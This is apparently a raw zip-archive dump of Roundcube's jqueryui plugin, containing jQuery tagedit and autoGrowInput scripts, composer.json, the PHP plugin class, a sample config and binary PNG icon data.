			if (isNew == true && checkAutocomplete == true && options.autocompleteOptions.source != false) {
				var result = [];
				if ($.isArray(options.autocompleteOptions.source)) {
					result = options.autocompleteOptions.source;
				}
                else if ($.isFunction(options.autocompleteOptions.source)) {
					options.autocompleteOptions.source({term: value}, function (data) {result = data});
				}
                else if (typeof options.autocompleteOptions.source === "string") {
					// Check also autocomplete values
					var autocompleteURL = options.autocompleteOptions.source;
					if (autocompleteURL.match(/\?/)) {
						autocompleteURL += '&';
					} else {
						autocompleteURL += '?';
					}
					autocompleteURL += 'term=' + value;
					$.ajax({
						async: false,
						url: autocompleteURL,
						dataType: 'json',
						complete: function (XMLHttpRequest, textStatus) {
							result = $.parseJSON(XMLHttpRequest.responseText);
						}
					});
				}
                
				// If there is an entry for that already in the autocomplete, don't use it (Check could be case sensitive or not)
				for (var i = 0; i < result.length; i++) {
					var resultValue = result[i].label? result[i].label : result[i];
					var label = options.checkNewEntriesCaseSensitive == true? resultValue : resultValue.toLowerCase();
					if (label == compareValue) {
						isNew = false;
						autoCompleteId = typeof result[i] == 'string' ? i : result[i].id;
						break;
					}
				}
			}

			return new Array(isNew, autoCompleteId);
		}
	}
})(jQuery);

(function($){
    
// jQuery autoGrowInput plugin by James Padolsey
// See related thread: http://stackoverflow.com/questions/931207/is-there-a-jquery-autogrow-plugin-for-text-fields
        
$.fn.autoGrowInput = function(o) {
    
    o = $.extend({
        maxWidth: 1000,
        minWidth: 0,
        comfortZone: 70
    }, o);
    
    this.filter('input:text').each(function(){
        
        var minWidth = o.minWidth || $(this).width(),
            val = '',
            input = $(this),
            testSubject = $('<tester/>').css({
                position: 'absolute',
                top: -9999,
                left: -9999,
                width: 'auto',
                fontSize: input.css('fontSize'),
                fontFamily: input.css('fontFamily'),
                fontWeight: input.css('fontWeight'),
                letterSpacing: input.css('letterSpacing'),
                whiteSpace: 'nowrap'
            }),
            check = function() {
                
                if (val === (val = input.val())) {return;}
                
                // Enter new content into testSubject
                var escaped = val.replace(/&/g, '&amp;').replace(/\s/g,'&nbsp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
                testSubject.html(escaped);
                
                // Calculate new width + whether to change
                var testerWidth = testSubject.width(),
                    newWidth = (testerWidth + o.comfortZone) >= minWidth ? testerWidth + o.comfortZone : minWidth,
                    currentWidth = input.width(),
                    isValidWidthChange = (newWidth < currentWidth && newWidth >= minWidth)
                                         || (newWidth > minWidth && newWidth < o.maxWidth);
                
                // Animate width
                if (isValidWidthChange) {
                    input.width(newWidth);
                }
                
            };
            
        testSubject.insertAfter(input);
        
        $(this).bind('keyup keydown blur update', check);
        
        check();
    });
    
    return this;

};

})(jQuery);PKh�\��m�plugins/jqueryui/composer.jsonnu�[���{
    "name": "roundcube/jqueryui",
    "type": "roundcube-plugin",
    "description": "Plugin adds the complete jQuery-UI library including the smoothness theme to Roundcube. This allows other plugins to use jQuery-UI without having to load their own version. The benefit of using one central jQuery-UI is that we wont run into problems of conflicting jQuery libraries being loaded. All plugins that want to use jQuery-UI should use this plugin as a requirement.",
    "license": "GPL-3.0-or-later",
    "version": "1.13.2",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\dK�0LLplugins/jqueryui/jqueryui.phpnu�[���<?php

/**
 * jQuery UI
 *
 * Provide the jQuery UI library with according themes.
 *
 * @version 1.13.2
 * @author Cor Bosman <roundcube@wa.ter.net>
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @author Aleksander Machniak <alec@alec.pl>
 * @license GNU GPLv3+
 */
class jqueryui extends rcube_plugin
{
    public $noajax  = true;
    public $version = '1.13.2';

    private static $features = [];
    private static $ui_theme;
    private static $css_path;
    private static $skin_map = [
        'larry'   => 'larry',
        'default' => 'elastic',
    ];

    /**
     * Plugin initialization
     */
    public function init()
    {
        $rcmail = rcmail::get_instance();

        // the plugin might have been force-loaded so do some sanity check first
        if ($rcmail->output->type != 'html' || self::$ui_theme) {
            return;
        }

        $this->load_config();

        // include UI scripts
        $this->include_script("js/jquery-ui.min.js");

        // include UI stylesheet
        $skin     = $rcmail->config->get('skin');
        $ui_map   = $rcmail->config->get('jquery_ui_skin_map', self::$skin_map);
        $skins    = array_keys($rcmail->output->skins);
        $skins[]  = 'elastic';

        foreach ($skins as $skin) {
            self::$ui_theme = !empty($ui_map[$skin]) ? $ui_map[$skin] : $skin;
            self::$css_path = $this->local_skin_path('themes', self::$ui_theme);

            $css = self::$css_path . '/jquery-ui.css';
            if (self::asset_exists($css)) {
                $this->include_stylesheet($css);
                break;
            }
        }

        // jquery UI localization
        $jquery_ui_i18n = $rcmail->config->get('jquery_ui_i18n', ['datepicker']);
        if (count($jquery_ui_i18n) > 0) {
            $lang_l = str_replace('_', '-', substr($_SESSION['language'], 0, 5));
            $lang_s = substr($_SESSION['language'], 0, 2);

            foreach ($jquery_ui_i18n as $package) {
                if (self::asset_exists("js/i18n/$package-$lang_l.js", false)) {
                    $this->include_script("js/i18n/$package-$lang_l.js");
                }
                else if ($lang_s != 'en' && self::asset_exists("js/i18n/$package-$lang_s.js", false)) {
                    $this->include_script("js/i18n/$package-$lang_s.js");
                }
            }
        }

        // Date format for datepicker
        $date_format = $date_format_localized = $rcmail->config->get('date_format', 'Y-m-d');
        $date_format = strtr($date_format, [
                'y' => 'y',
                'Y' => 'yy',
                'm' => 'mm',
                'n' => 'm',
                'd' => 'dd',
                'j' => 'd',
        ]);

        $replaces = ['Y' => 'yyyy', 'y' => 'yy', 'm' => 'mm', 'd' => 'dd', 'j' => 'd', 'n' => 'm'];

        foreach (array_keys($replaces) as $key) {
            if ($rcmail->text_exists("dateformat$key")) {
                $replaces[$key] = $rcmail->gettext("dateformat$key");
            }
        }

        $date_format_localized = strtr($date_format_localized, $replaces);

        $rcmail->output->set_env('date_format', $date_format);
        $rcmail->output->set_env('date_format_localized', $date_format_localized);
    }

    /**
     * Initialize and include miniColors widget
     */
    public static function miniColors()
    {
        if (in_array('miniColors', self::$features)) {
            return;
        }

        self::$features[] = 'miniColors';

        $rcube  = rcube::get_instance();
        $script = 'plugins/jqueryui/js/jquery.minicolors.min.js';
        $css    = self::$css_path . "/jquery.minicolors.css";

        $colors_theme = $rcube->config->get('jquery_ui_colors_theme', 'default');
        $config       = ['theme' => $colors_theme];
        $config_str   = rcube_output::json_serialize($config);

        $rcube->output->include_css('plugins/jqueryui/' . $css);
        $rcube->output->include_script($script, 'head', false);
        $rcube->output->add_script('$.fn.miniColors = $.fn.minicolors; $("input.colors").minicolors(' . $config_str . ')', 'docready');
        $rcube->output->set_env('minicolors_config', $config);
    }

    /**
     * Initialize and include tagedit widget
     */
    public static function tagedit()
    {
        if (in_array('tagedit', self::$features)) {
            return;
        }

        self::$features[] = 'tagedit';

        $script = 'plugins/jqueryui/js/jquery.tagedit.js';
        $rcube  = rcube::get_instance();
        $css    = self::$css_path . "/tagedit.css";

        if (!array_key_exists('elastic', (array) $rcube->output->skins)) {
            $rcube->output->include_css('plugins/jqueryui/' . $css);
        }

        $rcube->output->include_script($script, 'head', false);
    }

    /**
     * Checks if an asset file exists in specified location (with assets_dir support)
     */
    protected static function asset_exists($path, $minified = true)
    {
        $rcube = rcube::get_instance();
        $path = (strpos($path, 'plugins/') !== false ? '/' : '/plugins/jqueryui/') . $path;

        return $rcube->find_asset($path, $minified) !== null;
    }
}
PKh�\�(%%$plugins/jqueryui/config.inc.php.distnu�[���<?php

// if you want to load localization strings for specific sub-libraries of jquery-ui, configure them here 
$config['jquery_ui_i18n'] = ['datepicker'];

// map Roundcube skins with jquery-ui themes here
$config['jquery_ui_skin_map'] = [
  'larry' => 'larry',
  'default' => 'elastic',
];
PKh�\�S%�CC>plugins/jqueryui/themes/elastic/images/ui-icons-datepicker.pngnu�[����PNG


IHDR  D���]PLTE�������������ڒ�������������������ឞ����������```YYYNNN000��٫���^��tRNS�@���ߥ���``008Kbr�IDAT8���� D[�5�����@zѓ~	$mxnҰ��C�
~�%���yA�@�FP(�S�P�U����
.�1��t���C��P-ϭ��E�W����~��yǭlƘ-��OδO�ړ��Hw�IEND�B`�PKh�\?Pd���Bplugins/jqueryui/themes/elastic/images/ui-icons_444444_256x240.pngnu�[����PNG


IHDR�E�r@gAMA���a cHRMz&�����u0�`:�p��Q<bKGDD�<��tIME�
!%!���IDATx��k�%Gu�m;���!�^��l0�[�HXĹ�H��:w8;�������g1s����]�&��<�����������Clfq؅!,"�·�Wu׫��{�v�Gwn�>U�UuN=�ΩS����d�5�x^/2ڄ���̈́�,ڬ+M�^���O��r�`:�S|{Y�`���`k?��a��6���1��@�5S�#�Gd��)�q�vXu�B@�*�J@`H�N�A�1n:�P��,D:A��q+�=��f�]S��q!���+Lm�>|���XhN�^�4
Aٔ�3C���J����`Z�Uێ=s�4����)��-��`F8�i�RY��CP�����C�Z�:ڬ�{���p�����@������pxh8�4^o��;�o2���Yؔ1m�=��	v�Ա���E�GJH���i��U�g�>͵k�6��R_�}�Sk��=��~5<eҷ���.��ܙ�n�oF��d{յ�U�^@��>]�L��-oz�	��e��%PEdR��=�I�l�O\r�6`�S�`��dxup���/
����@������pxh8�t��W�믕��9������К�� {��\B0�]��(eQ�����T��Q5�[	\B��{��V������C�!4({\�h�w�g�{
�Kh��l�X�vp-��Z�^IA:�Ш����ur&�%5�t�S���Ch���NKgn�\Pv:�[(���ݘ8�nb�K�Uk��]Ҷ�A�^�50��\B�i�.�.��4l]�[mkA���L"��.�v���2=�[�Yo�8�2��c`�`��
�T�y�6�ʸ�h
��V~~��~%����pxh8�4^/
���C�;K��	�pшV�g��RH ����Z��Ҳ�ܭL�fSm\�tl�����ehW��0�K@�9Լ��E��V����rs
�Ͽ[
���m�m�������ۚ^ؠ+o
sq�nۂ�� �fIcρ.�w{��ҫ5E�9�mcy���PJ٬0�)��b���^A��n90W����{��ϷŶ	�����Y�4P�- ��**� ��:�P�6=�
�|W�C���/��#�ڃ��qL���r���9�˒��
�'0��3g*�)�l��f_*��T�՜���)��������\Rvp3�
�."̣`��nի.��\ߤ͔N�Cm�s%��,���F^��pxh8�4^/
��^c���
���`�W��]S��o��]`Y����L0i�]V	c��>�
�z��\e�X�����oJ}@H��ٲ{�-.6f�FV;��u�L;[�@.{W��4m
���%���:���*�-��c7��0q�%�z�}g�P"^@Z�eO��!A��1�m�}�vu&6�z��M>6i�UVɚ�$�����dzu!�B��� �C�~yXM2��E/̽�X5��h���!�Hm�&�O!�w�8dP��
Qՠ�/PkCm�,�M{�lu�Z�:�t�D���eM׼Y�+�2�~/�����@������p���K[6����.ۤ�	���-���*6h?C�r��]�IL��O�XHZ�pU]֧���@�*�y�;n�-�J��R��=�O$!����U5������G*���"R}��ez@�M�,s�.��5&{g㧫�/[�Sqs�8ľ��*3{��i�b�W�ל\9�:���Z!����u�5	r�UЛ2�D��bz��L2�9��O�[��_���l����O�p=VBG"��"X�_�O���7e��*���َd2�'j
� �t�@d�'��Gx$���Y���.�d�����8ދ����+1l!��£/��C}���>]�Ǧ�@������p���&+
�}I�2Ƣ��]��A����68T9�G-�~B����2q���z^{��x\�S\�:�\�SJ���~Dݯy��n�	���OH�$�B�I�|�2��W�C��ܨI:]$:�^�΢b�K<�a!,�&�r�s��8X�.�P����~Oq��{�kY`Xg�G8���3\�I�O���-B�5o+c���"����e/
�Ivi��((E d<�^W�\��-��L&����9I�����)�ƥ����8;���!�5p
�U�a/iΔl��E<�t!(f}7 “�	~̧����jCl3�^�II�8,m�>,�U!�9�z�����ǒ�k�y�E<ߐ˿4��=�Y(R)'b1���do�+�]K'�q!���F��Pa�#��'������xAR(v���w1w�s:�?q'�nf��OOg���c>�l.b����dp]
V�?�p�iC\����z�X�0�k����]���c��ަ�^BXf谧0�5�U��ڽ$�B|���	��y�;�A��.��|/���K��x�f�ಈ�sO)�<�!�qf5}��̻��<���A�3�M��7��qPɤ]��c�`��Lq���h�ȴ TW��8wF��
��L"�z
���^`G�[UE0�h����ȼ,h���]�z�j��{ Ȱ�$s��b�Sd���W�.���)^���!���|����W@!�;�\�l�<�!�)b9yˁ�!�E@b�0��/�~�R7^!(��������a���$�(�<*�@������px-<��g8A����l=\N�tìR�>��e��Jyˆ#9��s���}�|�R?��B�6�3c�%����]�y�m�o�V��^̔R��4{�����r�Zp��u�r�9n���nV�&������
�B_�q�X���0A���_�E8�a/(�O|��3\j�ݥh1i��q_V��6�(!�,�mk�b?�'y#��<�M�r�CLtz鑫��W]�o�/.�\�3��l>��CH�4Z:`��3l�w���ɒ5S�&�,�HA	���?���O7��Ȫ����y�*9j�n�Rko�{lp�S��e�Y���<Ӈu�����r!����
%��g�td���3תk��7��NH��� ����5�;�Ǜh��
��j�<s<�U�갆͙��<�>���y^�0.�e��L����b����?�
��[*�w��Դ"~L�m�i_�$����;H�[d�OQ���Wg~Qa��v`'����U,WS��}a�-|���K��Kl�1���
���=���6/�[�:���IP�6w�ʟ�~6?7��9��t��Bɺ�ȕ)�C�F���h��k��I`�z�6i���F��s�3��Gآ�fP��؟w�#cXS�����6�χ�;>*�'"!����S��~)Z�!`�@�Q�A����%&��?g��.n^�[�CA�9�`����o1To�����(��|��5�= 4��>�NE@�p����p��~���$�S&�q�N��w��8JHH�.ad�/�.uS�?�͙_7��)D�ߍ�0���~�>-��ӗ��FZ�c� 1ْ��h6���G��8?S���$�������eЁ�?w�!� ����𺀆�@������p4O��X�N�IT��rH�<�ݡ;ކ�L'P�5����h&۵�k�>��(��G8�=��;xw��BLQ;F��΋�n�c���-�|��
���+��y{�"����A�GH_�Y�$o��D�YL�v�6���}�If�0͂bQE<�cg�&��
�Kq�����X=�W�b�N���nW�ǫ�]�"ټ��r��ͅC�y��ϐ�L�D�����U��˳�}/ÀI`�+�&p���')\}���>�/��|�OI�
72��~�~��h�2D��9�|��PՄ�x0cEQ��^��.�O�9ߏod��������(]4�#eL���T�g��\g1�<fQ'��u�<�/?�'�^A=�!Ў�_\���1�����c�q�EA�=�!�b����.3�`�rij3$�
�Sz

sWՔ=�,�ЉZ?,+���L�W��+�<��ڿ͙�#�c����`':��6Δ.S�K���?R��+@�0�z?!�X��,����n�Qq;{^���U�;+�|a�f�dzBVK���|=�h'�_�i�$��n�3<]%`�5�<�(]�LH�v~��A�r_a�U���7Ad����n:�p.����NE�:ZW�\��U�rf��	���,b���`G:����"���vGE��'xx1�(b���y��\�9֜��\��\��D��ح���Dݠvq6���.�8D:����)��=C�o���-�c�ml��`�i�v+���
�<�4!�|�.���iR?�q�����p��>�8bGnSy��A�RJm5��PV8��@3Zt������i���nu���g�c�"Ìm�4w��IV��$����!�I����c)�d�}�E�~J�^������/qwGb���*�X*Ț���qS���h�.�C����@Ñ�CZ�w�d��k�5�{��R�q9�Z�(����>�
^��0��{�G������;r��J؟�н^��"�<f��?Qb_fƅ�SEթ��
��&���j|�2������K�:
�
X�*I��F9��kY�"��F*����F�H=�jZ�W�<�sA�>ټ��'5��Xb�;�m
���HH�b<RH��?��`�i {�4��<�^�k��zR�.����ۤ��vG�!����Ie��;"S��y�6��	�˜�e��h��F:��+��O���W��H�?'��u�w��q��*�p1a�Ns��Чc���ȪA�*����7��1e�����Ne��ӣ2=@��[�	`z��ʸ���?Pӑ}���/k�廓t/<E�{��1n�=_�۝(#3C���P���x������4%}ϠW'�;��[=�4wGZ�S�6^�$�!��SJ��vs+�s�U�)�t8`�M���Á�,�ɛ�1�`<1c��X�Ixm`������pxh8�4^��u��`�!+!P��	#�c�U�X-��`'�B�F*<-m
6"MC�����wDA?"��A���8�U\e(�;�]����N��\��{�x!�5}Qy�N�lC
G�[�;]|���:tT���:"+�j��6���CV
��6"�aIA'��r�`��*�_oQ�'�'Y4X��q��

X���b��)�`��9	�@���N.��b��™�,�A�i-ݞ<]YL�u�7K

a��!@7��!�'
?̝�@:W)Oݒ�n�,p9�p�4&�u3uK«���pxh8�4^/
G^L{o=F���4�6��}�g����%@�n�~�r�J&ϰ�1^G�a�8��=��~d���A��͗x%!��ZB�;d�����L��8�[v��o��BZt��p�i~ȅ�=�!p����
vj0�T���#w��8ö�?�kx�k2����_�*�8����n�.�j�\�7yW<ÕLr/��.��
�W���{�s��<�x;�8�\<�H;��v�
!O/��}ytOF��.7���Q��7��P���ȳ}��/#E���/���0�t%�9�;�M�KL*��%�!�������V
G�+������A,�<��M^΅�OH���s���2�}d�����O�w��Q�y����4~��pxh8�4^�Tl�ԥ/�ń�EŹ����|��WD���y�����K����7���4�2ξ�.�\�\�y8��K��?/�_��6���~�o��C@�?�m�U��,����h�Um��ߖ~>�~ķ�ߖs����4]|=�u�K"�*V���J6���C�;�n�.����a��Po0K�3��Gث���������Rm
�3OGC�q�8��	5�����@�؁V�\R���%��g��9��[3��	Ω�D�e��Gh���
��
��{\����&>̇�)�{?,o��P���篘B�.ܔ�)���хd�߃!@Lm���W�I&��,={v��{<C��1�Q����_�(6z���V��*�_�ԒpL�@�c��,��vR�mm��ߖ~>�~ķ�ߖS���t@�ե.	����,GY͜�S��0�]8��Ӽe��.ߠ�5 ���q�Fw���_H����rnb�uȰg3�.ߠ��
B�
l8�4^/
����@ÑU�N�v�G����j]�.�c�P�nݚB���N�CB^l\g�H��3�`c�Ηw�����C���������C�!f�	Ӂ/`7��(��0^!9�9�z��&@%�?2f�f��-�(s^���=*�/5^/
����@����غ�B��,���Bf	��{�۬H <*B�}�gа�n���Ags �
�A�ֺ=�{� �]��CX�SC�W/�1���'�-�VXeEٶ`5�)7��1���~�+�`��%��?�`�p�x�K;��*u��~�佁����1�<���f��e�*��}�kP�#�ʱ��	�Q
���}�P���zyh�J{(;�0����5�4[W���?k���*�%tEXtdate:create2022-01-20T13:32:23+00:00�
��%tEXtdate:modify1985-10-26T08:15:00+00:00"�StEXtSoftwareAdobe ImageReadyq�e<IEND�B`�PKh�\g��Bplugins/jqueryui/themes/elastic/images/ui-icons_777777_256x240.pngnu�[����PNG


IHDR�E�r@gAMA���a cHRMz&�����u0�`:�p��Q<bKGDwd�ǭtIME�
!%!���IDATx��{�eE}�?H(cX�1�²[R�`����J�H��E�$U��Œ�cE���Q�2;#��fŹc�,Hj�cQ5��5P�qK���$��1���%'�W�9�:��;��=���s�=��>������׿��h2�t</
�mBڃ��f���6+�J�D��0���&�s؇N��_�Bs�&�ڏ>~?��
c{v��j%�ؿ��)��#D�E��F
Iܤ�G���
�R�SơC��$ELځ!�GD�NP)~��tϷ=;��wהme�B�zs�
S���M,4�R�m�� 1�z�̐!(�hnE�6�UjնcO��6�y7��Yʶ~fK��1l��WM�.Ӟ�*��+p��ŔG��Uz��F��Qb�^��pxh8�4^/
����@����q��MF{7��2�m�0?�Ξ:�vux����r�n0s��Os횶����Wr��G��hA���2���t[l{S��O��7#��N�G�=��ZƪS/�co�.����7���Vk�2O���j�blc�l`.[���<%}a������x��t�7^�p�����@������pxh8�4^��CF�W�믕��9������К�� {��\B0�]��(eQ���G���؅�jl���*�,)����C���
r)BhP���/0���r�H(�0��,@�%6���qp-��Z�^IA:�����ur��%U|��)I���!4��ig�371�������E:��q7����n�05A���uP��y
̺8�Pj���K�9
[��E�Z���.�Ȫ����.�L��u֛���L��;X�t�0Ua���2�9�@�às���_!�_	l8�4^/
����@����7�&�R�?�~¥\4����F�>�2H6F��{�V�C��l9w����L�.;�S&�2�+�@��%��j����n+�Nti�����߭t�h�׶K��J`��mM/lЕ����S�m��mu����@��݅�=�n���"k�ݶ��m�EJ)��:�uPSV�+ (�-�*ty�}o�����6�ׁ��vh[�Y+��[@VUT���:�P�6=�
�|W�C���/�&#�ڃ��IL���r���9�˒��
�'0��3g*�)
�hv�/�h*�j΁D���ػ�{�K�n�T��E�y�ۭz��p�뛴�ҩ~��}��� �,�#	/
�_
n8�4^/
����@�1Huv��l0�\�ޮ���7��.�,vYً�&�4�.����n��S=�n�2o��_���7�> dAb���~������j��.4�Icg�hÉwu�N���Љ�^�M�z�3:0뫲����B�r�fSz!�����]�sUϷ�lJd +
� ����|��L�Wmu���j�uQ��G�	��(�"ö���ֺ�c � �B�V��M+V=A�=������4S�<��#s/5V��.�~�{32[�I���AH�]$	���!���jm�n.�R�$��V7�ŪM�I$�l��d�:X��t͛�(�a��xxh8�4^/
��	@kXI�����M*�Љ�Ѣ�)�b���04(�.�M3Q#?]!i�UuY�a�N�Y̫����U��*E LJ�{���"
���O��9U{���D&���"2}��ez@�M�,s�u�kL��&OW?_�(ȧ��>�qH|gUf�xm�d%�>��9�rV��;UO��2�_�$Uk2���5����?��� �P���쀆m�#�.V������c%t�H��<"Q�����[���[@V�:�<ۑL&�DJ�A����"�=��>�#�|^����eݓ,�Ҵ]^#�{	V�~%�A��[n��iG�9@����°�ꙴ�>]�Ǧ�@������p��̦+
�}I�2���]��!��q�mp�rJ�Z4�6�<!Y�e�,��2�l-񸌧��uֹ���"0k����_�=������r)��O�3%�^����p�&�l��{
;���GX�I����[�ʝυ��`	��CU�sD�=�=��1�e�q`�ᄶ��pq&�?��v(v"�y[�%�D��|MH�( ϰKS��@)!����_�*�,�&`2�巈��I"0Ǽփ�n�۸�;��1�g�
≯FN�;�B�%�"�0@^����w�b<	���|ڐ���{�6�6C�e�� �#B�B�H}�AHE`���!�@}En��evp/4��/4shV��TʉX�����l%�kI�$?.�����X�*�y"��!�I�f|��d��#<^�L���V��9���x/3������"�O?������Y\��U���E����h&(� 8���0h'yW����'�w(����:�)yMj�m�v/	����{������_BPd��X���j�@��pY�ǹ���Y��0�8��>��_��Umv� ���&d�J�8�d�.��6�B�M!S�r,�G-o��*��q�4[1=�kجDW�;rߪ*��v.1�X�`A3D���ů����b��&����N���篥_E��Ds0�x�+C�d�ʾ�Ut��^#�����Jg��
§���-�+��#���� bx���J�x]��`/S�0��~���&�FI�Q^/
�����h�1A��YZ��p9y�
�J�����.��&���
Gs����}�|�R?��B�>�3c�%���k`�.s���6�7�+P��/eJ��}���1^�U9e-���&�}9���w��nQ����������Г0�$��:`�.0A7��N�.p��9�^P�>;�g��P�K�b�2��>Q"�Gڴ�����){zx���S��O�fb���f9�a�
:=q��	.Ƿ���C.�Yvh|��!$`�-0п���;JzR��d�L��Ru�H?ZP��z��3�2��M�-Dup��:�\%G-�.���V��'9�:?P��e��ȳ}X|���.�].�{�P�Z�����S�p�ZuM�&��	��t�����p��x+-�2xBZM�g�'�jSְ9s�����g�=����e��s����^ʿ���7y�B�� 1�R-�&t�@�Ƙ��eIb|~-�Á4�h��"�˴��ϼV��%�I�;���{�D�&1�������=��/s�/�Q�&�3>;4��'R�4��;��o��|���&A)��I��V(2���@��2��7�K��D�L��uR��N��\'�I�Uۤ���ygl�Q��P�[a�f�A�nb�|^Q1�!��)���C�p;�#�-����UBu���S����f�������%&�?g��.n^�[$CA�9D�`}�O���&R5j�Q|O� c�]z@hd�}����
�vn���rw����$�S&�q�N��w��8FHH�.al�/�.uS�?�-¯[
��Q�ߍ�0���~�>-��ӗ�쏌���}��dK���@�3>����Lb�,�㺪��k,Ox�AJL��
Q�
��4^/
����y��U�4�T���t�S����m`:�����E�0ݮuBk���@A>����Ż���
1��y0�up^��f>Nȭ�J�ǹ���"o͐�g(�m!��dz��5p���a�휛�=���Nن~Y�/1��YP,�DO>�'ح�E� {�R\)|uz}��(�BO�U����#/������}W�H6����gvs!��Pf^��3dB����3u�B�J|�sy���e0	,p%��dAN�؝���"���o��ԧ�E~��)�_�F�xQ��/�O^�_��V=g�Ow���
V�.�+��"�����8<�`7'�d颹)c���RDz�I�Z�X��E�|�7�����F�8S�@;fqYw\�Sc^s��g�qƕ-����E��}t�a���K3�!yo`�1���0wUM�cʢ
���ò�Z���]��!����p�⿖p���tz�8S�L.I��P�/�H�1E�����U���?~����6�ngs���87��
vV0�������QK���|#�h'�_�i�X�u7�����5F4x�Q����F��t?��@T��C��7Cl����n6�p.��U��NE�9�V���9�rf��	1�k	���`G6����"���v�E��'yx�h�Q����ǹJs�9�����{��_����[q/�\��A��lv��]��I�l��_D���N���3t�&�����e,���{��o����u�'p����0M�:��n���C��
N#���7�g���B��m*/z9-��VS
�e���|
4�E7�ώ��\=�V�^��h~��Zl��������<ɪ��B�t�����?`>6ɛ�r}�a����/���O���E�ᯀkZ��qw,V-�󚂈�P	�hg�M����y�	^/
G^k������Eگsנ3���K����빢�����x;xӠ3�Qbp����C�Pw���V�ި�N��U����/3
�B�)AQu�~r�QZ�U��Q�U���8?�>`�UGa�Kq�/i��B��!�Rs�"�_����� j�k�Q��EOQMk�j�G@�p.h�O6/���I
m!����Ҧۙ��D/�#�LZ��ۉ��@�-,yJxFA��Q��_���\�w����/�臸���!M
�s�>�H����Xguy�Q�i2��*t�)��$�������5�7P��.&,��iNs�t,��,�j��JD�q[��m��7��1c���vW�!����Ie��C����O����χ8%�Ge�Yko	�v�+ʸ���?Pӱ}���/k�廓tS/<E����1��}_�۝(#3CH��P���y������,%}ϠW'�;��[=�4w�Z�S�6^�$�!E$��-vs+�s�U�)�t8`�M���Á�,��q�h<1c��X�Ixm`������pxh8�4^��X��o16��aQ��H�A�	�0�;F[��Ւa�A�vr�*jd��Ҧ�a#�4t�(��,~G�RJ*�o-O�]�U���ŪiK �+8�3�*�d�ބC)^H~M?����fg�lC
G�[�GG ���%П֡��Ψ��YT�O��	���Bٯ��yXR�	�>��F/X������[�I�3,*��S�/
���Ţ�(�������`}��D,(�"H��`�p��4�l�bZ�D�'OW��h�+RCC�-yЍ�Y���s'!����nI�C��C#\r=��h�Lݒ���ï6^/
����@Ñ��[���9�3\�;4[C#=��G=� h�Mݏ^NW��9��:,��Gs���n2�C�d!���2�&�s\K�t���=�:�-�*��%���A$-�����G8�4?�B��8����;5�F�T���cw��8ö�?�kx�k��j�c�/~}�����_���.�j�[\��xW<ÕLr/��.��
�W���{#�2�9x^�vrq��x^��v�e1�e����<�R�����p?]na'٣LOo&q���c�g��y� E���?���Ga�+�J$s�
v�����̟2$J��LqW3������W���7�7�C�D��0~ķx%�>1 �X(Ϲ
G�`j�!�������F����o�p��r������pxh82��P����R�������
�^�[����~F:�.��f���~�o���8�uw���
^���u]��Y��
�O�	����|���@4d���mS�Q\���WӣeW��C|[����V~[���OK�t�Mt1�R�D�U���͕l��w؇zwp��]���W��v���`��
�鑫���K�~����-�ְ|1�t4�0w��q>�Psߜ���Id�hE�%u]�\�1{�Θ���M`OpN�$</�/���#����=���65���|���S��~X�B�!�~��_1�j]�)}S���/��G" ��C@4	���F_&���D�xv��{B����(�r���ݯH�j�$�+�o�د~jIDp\�@��+yz;���6~h�oK?�B?���o˿)~�yUY: u��R�D����"GYN��K��.F�޶i�~�o�����p��w��̟K����snj�
س�~�o����!
��6^/
����@�����A��y���Q�6p<�ZW��K�:��z�[��P���S��Y7��:���� ���� /�`d�8�Fz�C������Tx�Dq���ۜB��k ���3|�|���9/`����/
����@������pl]h��^@���l!���=�mV$!���3h�Zw��Ags �
ɾ�A�ֺ=�{� �]��CX�S#b�^��9@O [��ʊ�m�j�Sn����3�W��W����KY�|�	�|�N�H����*u��~����h�=�kP�#�ʱ��	�Q
����P���zy{x�U�Cٹ�q�����	���غ����椛@^��%tEXtdate:create2022-01-20T13:32:23+00:00�
��%tEXtdate:modify1985-10-26T08:15:00+00:00"�StEXtSoftwareAdobe ImageReadyq�e<IEND�B`�PKh�\�6<plugins/jqueryui/themes/elastic/images/jquery.minicolors.pngnu�[����PNG


IHDRf����z�IDATx���ū�[{�ό�03'�0}�D�|�033sDaf2�hg*ջorO�3}^y�-��zz�v|�m���ɷDz��6a��-��P�a�n����7�d�z�m��G?���/zы4os�[[�
��'?1/x��Z�{���u�$!vS�!��N�9�
��+��U�1"���m��j�ܻa�A�3�kM���u��h�oˀ�#&�I�4M{tt���^���Ӟ9s&~�ߴ�x�;���TN��hl�ܚ�ޒ�n�,uL6�;:e��=m��)�)��<s����(c���#c�����X�7)>�bXv�:+���E�h4���fO)qn����r��XJ�2�J��>��H��ݤ=��}$�l(��N�qG1�#�5�{:�֢i��,�M�Wi�z��4x���ٜ�*X�<|}���V���%_����0��%��?��㶔�Sn���2�ۣ56Y�zҘ6�f�o�]u�k�xB�}�`�*K�� �(�Ǻf���ÿ�'���+4��c��[)�f�)~@{�El� ���x��,%����EڔW�s��_����c�}}��eM]��a��;��ន�ܛ��5��t��E؊yJ�f�f�SCV-2�����Eљ[��x�Z��s�a�Υ�M��o�l��?��f�f�y�s��Ԁ��4$�|��o�AE��9�ms�]�P0�Z�=�W[��x�`��F�Vh�A��H k�De������)���c�=����&'�VQ��6:��+l�	�`�����m����u�U�6�y@6:Y\�3��\
f�S�f(hE�x�3}����~0[N�;�Δ1�)٦�
x��(��m?�!do��8ot�ڦ��~��{���׏T�hԩ�}a�_.�|��.=w�x��t��;��Ʋ�����4��{����;�![�
;i�0c(+��=��ؖ�*���<�l"���*VV+���f�=�k���v�}���7f�e��T�;�M�2�v@�K��F@�g
PZ_�!�|,����z+��[����;�-�/8c��?UnK�	bU�Z�h�g0{���}�`��@�P�q��;1�_c�����k0��w��1������5!n
`Zt�9�3�/�����hr W�i
6CY$�5�l?vww����vcc������������6��D�>n����)��>��wq�Ļo��[bv��R�I�@�bԑ�	ܐ#0 s&Li���i��>7/�A��ЉO�nv��,���K,*�6=1+���b2��n��Eq��������y�3/qڞO�ie�n˼��ݔ�zS�p���i���ڊ����:�@���}ݱ�܁z��+a�v|a�����R��b�=>��Xh���!�kts��_�1����D{�gk��ӿ���W�NW�1��1��3H�_v8�߹�>��G��
